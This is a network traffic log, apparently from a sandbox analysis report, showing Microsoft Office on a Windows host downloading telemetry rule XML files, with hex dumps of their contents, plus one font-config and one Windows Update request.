2024-11-18 07:55:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075533Z-16547b76f7fkz9l7hC1DFW35uc00000002g000000000efwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 7acd991b-701e-000d-31ef-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075533Z-164f84587bfjxw6fhC1DFWq94400000005ng000000008efg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:33 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075533Z-16547b76f7fljddfhC1DFWeqbs00000006bg0000000068wa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075533Z-1866b5c5fbbvz6qbhC1DFWsyms00000004p000000000aa1a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:33 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49793	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 07:55:33 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=204552 Date: Mon, 18 Nov 2024 07:55:33 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-18 07:55:33 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075533Z-16547b76f7fpdsp9hC1DFW8f50000000030000000000envk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:34 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075533Z-16547b76f7fr5rfnhC1DFW0am40000000300000000005htc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: c0db5769-f01e-0020-0591-37956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075533Z-164f84587bffvwt9hC1DFW2ktw000000039g00000000433u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:34 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075534Z-16547b76f7fpdsp9hC1DFW8f50000000033g000000007bpt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:34 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 03bc4034-001e-00a2-3978-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075534Z-164f84587bf7k72dhC1DFWvczs00000005n0000000000g8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:35 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075535Z-16547b76f7fbkfmzhC1DFWm9tw000000055g000000005ksu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49796	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:35 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WoVE+8AWTKdCxkC&MD=vvATdgG1 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 07:55:35 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2941e76a-6f20-453b-956f-db12646cecf7 MS-RequestId: fb90456f-3fc1-4919-ba70-9c622c90e0f4 MS-CV: MX1Ku3OZJkCR1cey.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 07:55:34 GMT Connection: close Content-Length: 24490
